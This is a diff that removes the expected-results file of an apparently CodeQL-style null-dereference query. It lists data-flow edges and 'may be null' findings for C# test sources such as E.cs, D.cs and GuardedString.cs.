-| E.cs:120:16:120:20 | [true] !... | E.cs:121:9:143:9 | {...} |
-| E.cs:120:17:120:20 | access to local variable stop | E.cs:120:16:120:20 | [true] !... |
-| E.cs:121:9:143:9 | {...} | E.cs:123:21:123:24 | access to local variable stop |
-| E.cs:123:20:123:24 | [false] !... | E.cs:123:20:123:35 | [false] ... && ... |
-| E.cs:123:20:123:24 | [true] !... | E.cs:123:29:123:29 | access to local variable j |
-| E.cs:123:20:123:35 | [false] ... && ... | E.cs:120:17:120:20 | access to local variable stop |
-| E.cs:123:20:123:35 | [true] ... && ... | E.cs:124:13:142:13 | {...} |
-| E.cs:123:20:123:35 | [true] ... && ... | E.cs:125:33:125:35 | access to local variable obj |
-| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [false] !... |
-| E.cs:123:21:123:24 | access to local variable stop | E.cs:123:20:123:24 | [true] !... |
-| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [false] ... && ... |
-| E.cs:123:29:123:29 | access to local variable j | E.cs:123:20:123:35 | [true] ... && ... |
-| E.cs:124:13:142:13 | {...} | E.cs:128:21:128:23 | access to local variable obj |
-| E.cs:124:13:142:13 | {...} | E.cs:141:17:141:26 | ...; |
-| E.cs:137:25:137:34 | SSA def(obj) | E.cs:139:21:139:29 | continue; |
-| E.cs:139:21:139:29 | continue; | E.cs:123:21:123:24 | access to local variable stop |
-| E.cs:141:17:141:26 | ...; | E.cs:123:21:123:24 | access to local variable stop |
-| E.cs:152:16:152:26 | SSA def(obj2) | E.cs:153:13:153:54 | [false] ... && ... |
-| E.cs:153:13:153:54 | [false] ... && ... | E.cs:158:9:159:28 | if (...) ... |
-| E.cs:158:9:159:28 | if (...) ... | E.cs:159:13:159:16 | access to local variable obj2 |
-| E.cs:162:28:162:28 | SSA param(a) | E.cs:164:29:164:29 | 0 |
-| E.cs:164:17:164:40 | ... ? ... : ... | E.cs:165:25:165:25 | access to local variable i |
-| E.cs:164:29:164:29 | 0 | E.cs:164:17:164:40 | ... ? ... : ... |
-| E.cs:165:25:165:25 | access to local variable i | E.cs:166:9:170:9 | {...} |
-| E.cs:165:25:165:25 | access to local variable i | E.cs:167:21:167:21 | access to parameter a |
-| E.cs:165:32:165:32 | access to local variable i | E.cs:165:25:165:25 | access to local variable i |
-| E.cs:166:9:170:9 | {...} | E.cs:165:32:165:32 | access to local variable i |
-| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false |
-| E.cs:173:29:173:31 | SSA param(obj) | E.cs:175:33:175:37 | false |
-| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:177:9:179:9 | {...} |
-| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:178:13:178:15 | access to parameter obj |
-| E.cs:175:19:175:42 | ... ? ... : ... | E.cs:180:9:183:9 | if (...) ... |
-| E.cs:175:33:175:37 | false | E.cs:175:19:175:42 | ... ? ... : ... |
-| E.cs:177:9:179:9 | {...} | E.cs:180:9:183:9 | if (...) ... |
-| E.cs:180:9:183:9 | if (...) ... | E.cs:181:9:183:9 | {...} |
-| E.cs:181:9:183:9 | {...} | E.cs:184:9:187:9 | if (...) ... |
-| E.cs:184:9:187:9 | if (...) ... | E.cs:186:13:186:15 | access to parameter obj |
-| E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o |
-| E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o |
-| E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o |
-| E.cs:206:28:206:28 | SSA param(s) | E.cs:208:13:208:23 | [false] ... is ... |
-| E.cs:208:13:208:23 | [false] ... is ... | E.cs:210:16:210:16 | access to parameter s |
-| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x |
-| E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:220:13:220:13 | access to local variable x |
-| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:13 | access to local variable x |
-| E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:229:13:229:25 | ...; |
-| E.cs:229:13:229:25 | ...; | E.cs:230:9:230:9 | access to local variable x |
-| E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i |
-| E.cs:238:26:238:26 | SSA param(i) | E.cs:240:21:240:21 | access to parameter i |
-| E.cs:283:13:283:22 | [b (line 279): false] SSA def(o) | E.cs:285:9:285:9 | access to local variable o |
-| E.cs:283:13:283:22 | [b (line 279): true] SSA def(o) | E.cs:285:9:285:9 | access to local variable o |
-| E.cs:301:13:301:27 | SSA def(s) | E.cs:302:9:302:9 | access to local variable s |
-| E.cs:319:29:319:30 | SSA param(s1) | E.cs:321:20:321:21 | access to parameter s2 |
-| E.cs:321:13:321:30 | [true] ... is ... | E.cs:323:13:323:14 | access to parameter s1 |
-| E.cs:321:14:321:21 | ... ?? ... | E.cs:321:13:321:30 | [true] ... is ... |
-| E.cs:321:20:321:21 | access to parameter s2 | E.cs:321:14:321:21 | ... ?? ... |
-| E.cs:330:13:330:36 | SSA def(x) | E.cs:331:9:331:9 | access to local variable x |
-| E.cs:342:13:342:32 | SSA def(x) | E.cs:343:9:343:9 | access to local variable x |
-| E.cs:348:17:348:36 | SSA def(x) | E.cs:349:9:349:9 | access to local variable x |
-| E.cs:366:28:366:28 | SSA param(s) | E.cs:366:41:366:41 | access to parameter s |
-| E.cs:374:17:374:31 | SSA def(s) | E.cs:375:20:375:20 | access to local variable s |
-| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 |
-| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 |
-| E.cs:380:24:380:25 | SSA param(e1) | E.cs:382:28:382:29 | access to parameter e2 |
-| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... |
-| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... |
-| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:14:382:37 | [false] ... && ... |
-| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 |
-| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 |
-| E.cs:380:30:380:31 | SSA param(e2) | E.cs:382:28:382:29 | access to parameter e2 |
-| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... |
-| E.cs:382:13:382:68 | [false] ... \|\| ... | E.cs:384:9:385:24 | if (...) ... |
-| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 |
-| E.cs:382:14:382:37 | [false] ... && ... | E.cs:382:44:382:45 | access to parameter e1 |
-| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... |
-| E.cs:382:28:382:29 | access to parameter e2 | E.cs:382:14:382:37 | [false] ... && ... |
-| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... |
-| E.cs:382:44:382:45 | access to parameter e1 | E.cs:382:44:382:67 | [false] ... && ... |
-| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... |
-| E.cs:382:44:382:67 | [false] ... && ... | E.cs:382:13:382:68 | [false] ... \|\| ... |
-| E.cs:384:9:385:24 | if (...) ... | E.cs:384:13:384:36 | [false] ... && ... |
-| E.cs:384:9:385:24 | if (...) ... | E.cs:384:27:384:28 | access to parameter e2 |
-| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:16:386:17 | access to parameter e1 |
-| E.cs:384:13:384:36 | [false] ... && ... | E.cs:386:27:386:28 | access to parameter e2 |
-| E.cs:384:27:384:28 | access to parameter e2 | E.cs:384:13:384:36 | [false] ... && ... |
-| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i |
-| E.cs:404:9:404:18 | SSA def(i) | E.cs:405:16:405:16 | access to local variable i |
-| E.cs:417:24:417:40 | SSA capture def(i) | E.cs:417:34:417:34 | access to parameter i |
-| E.cs:423:28:423:44 | SSA capture def(i) | E.cs:423:38:423:38 | access to parameter i |
-| E.cs:430:29:430:45 | SSA capture def(i) | E.cs:430:39:430:39 | access to parameter i |
-| E.cs:435:29:435:29 | SSA param(s) | E.cs:437:13:437:21 | [true] ... is ... |
-| E.cs:437:13:437:21 | [true] ... is ... | E.cs:439:13:439:13 | access to parameter s |
-| Forwarding.cs:7:16:7:23 | SSA def(s) | Forwarding.cs:9:13:9:30 | [false] !... |
-| Forwarding.cs:9:13:9:30 | [false] !... | Forwarding.cs:14:9:17:9 | if (...) ... |
-| Forwarding.cs:14:9:17:9 | if (...) ... | Forwarding.cs:19:9:22:9 | if (...) ... |
-| Forwarding.cs:19:9:22:9 | if (...) ... | Forwarding.cs:19:13:19:23 | [false] !... |
-| Forwarding.cs:19:13:19:23 | [false] !... | Forwarding.cs:24:9:27:9 | if (...) ... |
-| Forwarding.cs:24:9:27:9 | if (...) ... | Forwarding.cs:29:9:32:9 | if (...) ... |
-| Forwarding.cs:29:9:32:9 | if (...) ... | Forwarding.cs:34:9:37:9 | if (...) ... |
-| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:35:9:37:9 | {...} |
-| Forwarding.cs:34:9:37:9 | if (...) ... | Forwarding.cs:36:31:36:31 | access to local variable s |
-| Forwarding.cs:35:9:37:9 | {...} | Forwarding.cs:40:27:40:27 | access to local variable s |
-| GuardedString.cs:7:16:7:32 | SSA def(s) | GuardedString.cs:9:13:9:36 | [false] !... |
-| GuardedString.cs:9:13:9:36 | [false] !... | GuardedString.cs:14:9:17:9 | if (...) ... |
-| GuardedString.cs:14:9:17:9 | if (...) ... | GuardedString.cs:14:13:14:41 | [false] !... |
-| GuardedString.cs:14:13:14:41 | [false] !... | GuardedString.cs:19:9:20:40 | if (...) ... |
-| GuardedString.cs:19:9:20:40 | if (...) ... | GuardedString.cs:19:26:19:26 | 0 |
-| GuardedString.cs:19:26:19:26 | 0 | GuardedString.cs:22:9:23:40 | if (...) ... |
-| GuardedString.cs:22:9:23:40 | if (...) ... | GuardedString.cs:22:25:22:25 | 0 |
-| GuardedString.cs:22:25:22:25 | 0 | GuardedString.cs:25:9:26:40 | if (...) ... |
-| GuardedString.cs:25:9:26:40 | if (...) ... | GuardedString.cs:25:26:25:26 | 0 |
-| GuardedString.cs:25:26:25:26 | 0 | GuardedString.cs:28:9:29:40 | if (...) ... |
-| GuardedString.cs:28:9:29:40 | if (...) ... | GuardedString.cs:28:25:28:26 | 10 |
-| GuardedString.cs:28:25:28:26 | 10 | GuardedString.cs:31:9:32:40 | if (...) ... |
-| GuardedString.cs:31:9:32:40 | if (...) ... | GuardedString.cs:31:26:31:27 | 10 |
-| GuardedString.cs:31:26:31:27 | 10 | GuardedString.cs:34:9:37:40 | if (...) ... |
-| GuardedString.cs:34:9:37:40 | if (...) ... | GuardedString.cs:34:26:34:26 | 0 |
-| GuardedString.cs:34:26:34:26 | 0 | GuardedString.cs:35:31:35:31 | access to local variable s |
-| NullAlwaysBad.cs:7:29:7:29 | SSA param(s) | NullAlwaysBad.cs:9:30:9:30 | access to parameter s |
-| NullMaybeBad.cs:13:17:13:20 | null | NullMaybeBad.cs:7:27:7:27 | access to parameter o |
-| Params.cs:20:12:20:15 | null | Params.cs:14:17:14:20 | access to parameter args |
-| StringConcatenation.cs:14:16:14:23 | SSA def(s) | StringConcatenation.cs:15:16:15:16 | access to local variable s |
-| StringConcatenation.cs:15:16:15:16 | access to local variable s | StringConcatenation.cs:16:17:16:17 | access to local variable s |
-#select
-| C.cs:64:9:64:10 | access to local variable o1 | C.cs:62:13:62:46 | SSA def(o1) | C.cs:64:9:64:10 | access to local variable o1 | Variable $@ may be null at this access because of $@ assignment. | C.cs:62:13:62:14 | o1 | o1 | C.cs:62:13:62:46 | Object o1 = ... | this |
-| C.cs:68:9:68:10 | access to local variable o2 | C.cs:66:13:66:46 | SSA def(o2) | C.cs:68:9:68:10 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | C.cs:66:13:66:14 | o2 | o2 | C.cs:66:13:66:46 | Object o2 = ... | this |
-| C.cs:95:15:95:15 | access to local variable o | C.cs:94:13:94:45 | SSA def(o) | C.cs:95:15:95:15 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | C.cs:94:13:94:13 | o | o | C.cs:94:13:94:45 | Object o = ... | this |
-| C.cs:103:27:103:30 | access to parameter list | C.cs:102:13:102:23 | SSA def(list) | C.cs:103:27:103:30 | access to parameter list | Variable $@ may be null at this access because of $@ assignment. | C.cs:99:42:99:45 | list | list | C.cs:102:13:102:23 | ... = ... | this |
-| C.cs:177:13:177:13 | access to local variable s | C.cs:178:13:178:20 | SSA def(s) | C.cs:177:13:177:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:151:13:151:13 | s | s | C.cs:178:13:178:20 | ... = ... | this |
-| C.cs:203:13:203:13 | access to local variable s | C.cs:204:13:204:20 | SSA def(s) | C.cs:203:13:203:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:185:13:185:13 | s | s | C.cs:204:13:204:20 | ... = ... | this |
-| C.cs:223:9:223:9 | access to local variable s | C.cs:222:13:222:20 | SSA def(s) | C.cs:223:9:223:9 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:210:13:210:13 | s | s | C.cs:222:13:222:20 | ... = ... | this |
-| C.cs:242:13:242:13 | access to local variable s | C.cs:240:24:240:31 | SSA def(s) | C.cs:242:13:242:13 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | C.cs:228:16:228:16 | s | s | C.cs:240:24:240:31 | ... = ... | this |
-| D.cs:23:9:23:13 | access to parameter param | D.cs:17:17:17:20 | null | D.cs:23:9:23:13 | access to parameter param | Variable $@ may be null at this access because of $@ null argument. | D.cs:21:32:21:36 | param | param | D.cs:17:17:17:20 | null | this |
-| D.cs:32:9:32:13 | access to parameter param | D.cs:26:32:26:36 | SSA param(param) | D.cs:32:9:32:13 | access to parameter param | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:26:32:26:36 | param | param | D.cs:28:13:28:25 | ... != ... | this |
-| D.cs:62:13:62:14 | access to local variable o5 | D.cs:58:13:58:41 | SSA def(o5) | D.cs:62:13:62:14 | access to local variable o5 | Variable $@ may be null at this access because of $@ assignment. | D.cs:58:13:58:14 | o5 | o5 | D.cs:58:13:58:41 | String o5 = ... | this |
-| D.cs:73:13:73:14 | access to local variable o7 | D.cs:68:13:68:34 | SSA def(o7) | D.cs:73:13:73:14 | access to local variable o7 | Variable $@ may be null at this access because of $@ assignment. | D.cs:68:13:68:14 | o7 | o7 | D.cs:68:13:68:34 | String o7 = ... | this |
-| D.cs:82:13:82:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:82:13:82:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this |
-| D.cs:84:13:84:14 | access to local variable o8 | D.cs:75:13:75:34 | SSA def(o8) | D.cs:84:13:84:14 | access to local variable o8 | Variable $@ may be null at this access because of $@ assignment. | D.cs:75:13:75:14 | o8 | o8 | D.cs:75:13:75:34 | String o8 = ... | this |
-| D.cs:91:13:91:14 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:91:13:91:14 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
-| D.cs:94:21:94:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:94:21:94:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
-| D.cs:98:21:98:22 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:98:21:98:22 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
-| D.cs:102:31:102:32 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:102:31:102:32 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
-| D.cs:105:19:105:20 | access to local variable xs | D.cs:89:15:89:44 | SSA def(xs) | D.cs:105:19:105:20 | access to local variable xs | Variable $@ may be null at this access because of $@ assignment. | D.cs:89:15:89:16 | xs | xs | D.cs:89:15:89:44 | Int32[] xs = ... | this |
-| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this |
-| D.cs:134:24:134:24 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:134:24:134:24 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this |
-| D.cs:135:24:135:24 | access to parameter b | D.cs:125:44:125:44 | SSA param(b) | D.cs:135:24:135:24 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:44:125:44 | b | b | D.cs:128:20:128:28 | ... == ... | this |
-| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:127:20:127:28 | ... == ... | this |
-| D.cs:145:20:145:20 | access to parameter a | D.cs:125:35:125:35 | SSA param(a) | D.cs:145:20:145:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:125:35:125:35 | a | a | D.cs:139:13:139:21 | ... != ... | this |
-| D.cs:151:9:151:11 | access to parameter obj | D.cs:149:36:149:38 | SSA param(obj) | D.cs:151:9:151:11 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:149:36:149:38 | obj | obj | D.cs:152:17:152:27 | ... != ... | this |
-| D.cs:171:9:171:11 | access to local variable obj | D.cs:163:16:163:25 | SSA def(obj) | D.cs:171:9:171:11 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | D.cs:163:16:163:18 | obj | obj | D.cs:163:16:163:25 | Object obj = ... | this |
-| D.cs:245:13:245:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:245:13:245:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this |
-| D.cs:247:13:247:13 | access to local variable o | D.cs:240:9:240:16 | SSA def(o) | D.cs:247:13:247:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:228:16:228:16 | o | o | D.cs:240:9:240:16 | ... = ... | this |
-| D.cs:253:13:253:14 | access to local variable o2 | D.cs:249:13:249:38 | SSA def(o2) | D.cs:253:13:253:14 | access to local variable o2 | Variable $@ may be null at this access because of $@ assignment. | D.cs:249:13:249:14 | o2 | o2 | D.cs:249:13:249:38 | String o2 = ... | this |
-| D.cs:267:13:267:13 | access to local variable o | D.cs:258:16:258:23 | SSA def(o) | D.cs:267:13:267:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:258:16:258:23 | Object o = ... | this |
-| D.cs:291:13:291:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this |
-| D.cs:291:13:291:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:291:13:291:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this |
-| D.cs:294:13:294:13 | access to local variable o | D.cs:269:9:269:16 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:269:9:269:16 | ... = ... | this |
-| D.cs:294:13:294:13 | access to local variable o | D.cs:283:17:283:24 | SSA def(o) | D.cs:294:13:294:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | D.cs:258:16:258:16 | o | o | D.cs:283:17:283:24 | ... = ... | this |
-| D.cs:300:17:300:20 | access to local variable prev | D.cs:296:16:296:26 | SSA def(prev) | D.cs:300:17:300:20 | access to local variable prev | Variable $@ may be null at this access because of $@ assignment. | D.cs:296:16:296:19 | prev | prev | D.cs:296:16:296:26 | Object prev = ... | this |
-| D.cs:313:17:313:17 | access to local variable s | D.cs:304:16:304:23 | SSA def(s) | D.cs:313:17:313:17 | access to local variable s | Variable $@ may be null at this access because of $@ assignment. | D.cs:304:16:304:16 | s | s | D.cs:304:16:304:23 | String s = ... | this |
-| D.cs:324:9:324:9 | access to local variable r | D.cs:316:16:316:23 | SSA def(r) | D.cs:324:9:324:9 | access to local variable r | Variable $@ may be null at this access because of $@ assignment. | D.cs:316:16:316:16 | r | r | D.cs:316:16:316:23 | Object r = ... | this |
-| D.cs:356:13:356:13 | access to local variable a | D.cs:351:15:351:22 | SSA def(a) | D.cs:356:13:356:13 | access to local variable a | Variable $@ may be null at this access because of $@ assignment. | D.cs:351:15:351:15 | a | a | D.cs:351:15:351:22 | Int32[] a = ... | this |
-| D.cs:363:13:363:16 | access to local variable last | D.cs:360:20:360:30 | SSA def(last) | D.cs:363:13:363:16 | access to local variable last | Variable $@ may be null at this access because of $@ assignment. | D.cs:360:20:360:23 | last | last | D.cs:360:20:360:30 | String last = ... | this |
-| D.cs:372:13:372:13 | access to local variable b | D.cs:366:15:366:47 | SSA def(b) | D.cs:372:13:372:13 | access to local variable b | Variable $@ may be null at this access because of $@ assignment. | D.cs:366:15:366:15 | b | b | D.cs:366:15:366:47 | Int32[] b = ... | this |
-| D.cs:395:20:395:20 | access to parameter a | D.cs:388:36:388:36 | SSA param(a) | D.cs:395:20:395:20 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:36:388:36 | a | a | D.cs:390:20:390:28 | ... == ... | this |
-| D.cs:400:20:400:20 | access to parameter b | D.cs:388:45:388:45 | SSA param(b) | D.cs:400:20:400:20 | access to parameter b | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:388:45:388:45 | b | b | D.cs:397:20:397:28 | ... == ... | this |
-| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:27:407:35 | ... == ... | this |
-| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:407:55:407:63 | ... != ... | this |
-| D.cs:410:13:410:13 | access to parameter y | D.cs:405:45:405:45 | SSA param(y) | D.cs:410:13:410:13 | access to parameter y | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:45:405:45 | y | y | D.cs:411:13:411:21 | ... != ... | this |
-| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:14:407:22 | ... != ... | this |
-| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:407:42:407:50 | ... == ... | this |
-| D.cs:412:13:412:13 | access to parameter x | D.cs:405:35:405:35 | SSA param(x) | D.cs:412:13:412:13 | access to parameter x | Variable $@ may be null at this access as suggested by $@ null check. | D.cs:405:35:405:35 | x | x | D.cs:409:13:409:21 | ... != ... | this |
-| E.cs:12:38:12:39 | access to local variable a2 | E.cs:9:18:9:26 | SSA def(a2) | E.cs:12:38:12:39 | access to local variable a2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:9:18:9:19 | a2 | a2 | E.cs:9:18:9:26 | Int64[][] a2 = ... | this |
-| E.cs:14:13:14:14 | access to local variable a3 | E.cs:11:16:11:24 | SSA def(a3) | E.cs:14:13:14:14 | access to local variable a3 | Variable $@ may be null at this access because of $@ assignment. | E.cs:11:16:11:17 | a3 | a3 | E.cs:11:16:11:24 | Int64[] a3 = ... | this |
-| E.cs:27:13:27:14 | access to local variable s1 | E.cs:23:13:23:30 | SSA def(s1) | E.cs:27:13:27:14 | access to local variable s1 | Variable $@ may be null at this access because of $@ assignment. | E.cs:19:13:19:14 | s1 | s1 | E.cs:23:13:23:30 | ... = ... | this |
-| E.cs:61:13:61:17 | access to local variable slice | E.cs:51:22:51:33 | SSA def(slice) | E.cs:61:13:61:17 | access to local variable slice | Variable $@ may be null at this access because of $@ assignment. | E.cs:51:22:51:26 | slice | slice | E.cs:51:22:51:33 | List slice = ... | this |
-| E.cs:73:13:73:15 | access to parameter arr | E.cs:66:40:66:42 | SSA param(arr) | E.cs:73:13:73:15 | access to parameter arr | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:66:40:66:42 | arr | arr | E.cs:70:22:70:32 | ... == ... | this |
-| E.cs:112:13:112:16 | access to local variable arr2 | E.cs:107:15:107:25 | SSA def(arr2) | E.cs:112:13:112:16 | access to local variable arr2 | Variable $@ may be null at this access because of $@ assignment. | E.cs:107:15:107:18 | arr2 | arr2 | E.cs:107:15:107:25 | Int32[] arr2 = ... | this |
-| E.cs:125:33:125:35 | access to local variable obj | E.cs:137:25:137:34 | SSA def(obj) | E.cs:125:33:125:35 | access to local variable obj | Variable $@ may be null at this access because of $@ assignment. | E.cs:119:13:119:15 | obj | obj | E.cs:137:25:137:34 | ... = ... | this |
-| E.cs:159:13:159:16 | access to local variable obj2 | E.cs:152:16:152:26 | SSA def(obj2) | E.cs:159:13:159:16 | access to local variable obj2 | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:152:16:152:19 | obj2 | obj2 | E.cs:153:13:153:24 | ... != ... | this |
-| E.cs:167:21:167:21 | access to parameter a | E.cs:162:28:162:28 | SSA param(a) | E.cs:167:21:167:21 | access to parameter a | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:162:28:162:28 | a | a | E.cs:164:17:164:25 | ... == ... | this |
-| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this |
-| E.cs:178:13:178:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:178:13:178:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this |
-| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:175:19:175:29 | ... == ... | this |
-| E.cs:186:13:186:15 | access to parameter obj | E.cs:173:29:173:31 | SSA param(obj) | E.cs:186:13:186:15 | access to parameter obj | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:173:29:173:31 | obj | obj | E.cs:180:13:180:23 | ... == ... | this |
-| E.cs:192:17:192:17 | access to parameter o | E.cs:190:29:190:29 | SSA param(o) | E.cs:192:17:192:17 | access to parameter o | Variable $@ may be null at this access as suggested by $@ null check. | E.cs:190:29:190:29 | o | o | E.cs:193:17:193:17 | access to parameter o | this |
-| E.cs:201:13:201:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): true] SSA def(o) | E.cs:201:13:201:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this |
-| E.cs:203:13:203:13 | access to local variable o | E.cs:198:13:198:29 | [b (line 196): false] SSA def(o) | E.cs:203:13:203:13 | access to local variable o | Variable $@ may be null at this access because of $@ assignment. | E.cs:198:13:198:13 | o | o | E.cs:198:13:198:29 | String o = ... | this |
-| E.cs:218:9:218:9 | access to local variable x | E.cs:217:13:217:20 | [b (line 213): true] SSA def(x) | E.cs:218:9:218:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:215:13:215:13 | x | x | E.cs:217:13:217:20 | ... = ... | this |
-| E.cs:230:9:230:9 | access to local variable x | E.cs:227:13:227:20 | [b (line 223): true] SSA def(x) | E.cs:230:9:230:9 | access to local variable x | Variable $@ may be null at this access because of $@ assignment. | E.cs:225:13:225:13 | x | x | E.cs:227:13:227:20 | ... = ... | this |
-| E.cs:235:16:235:16 | access to parameter i | E.cs:233:26:233:26 | SSA param(i) | E.cs:235:16:235:16 | access to parameter i | Variable $@ may be null at this access because it has a nullable type. | E.cs:233:26:233:26 | i | i | E.cs:233:26:233:26 | i | this |
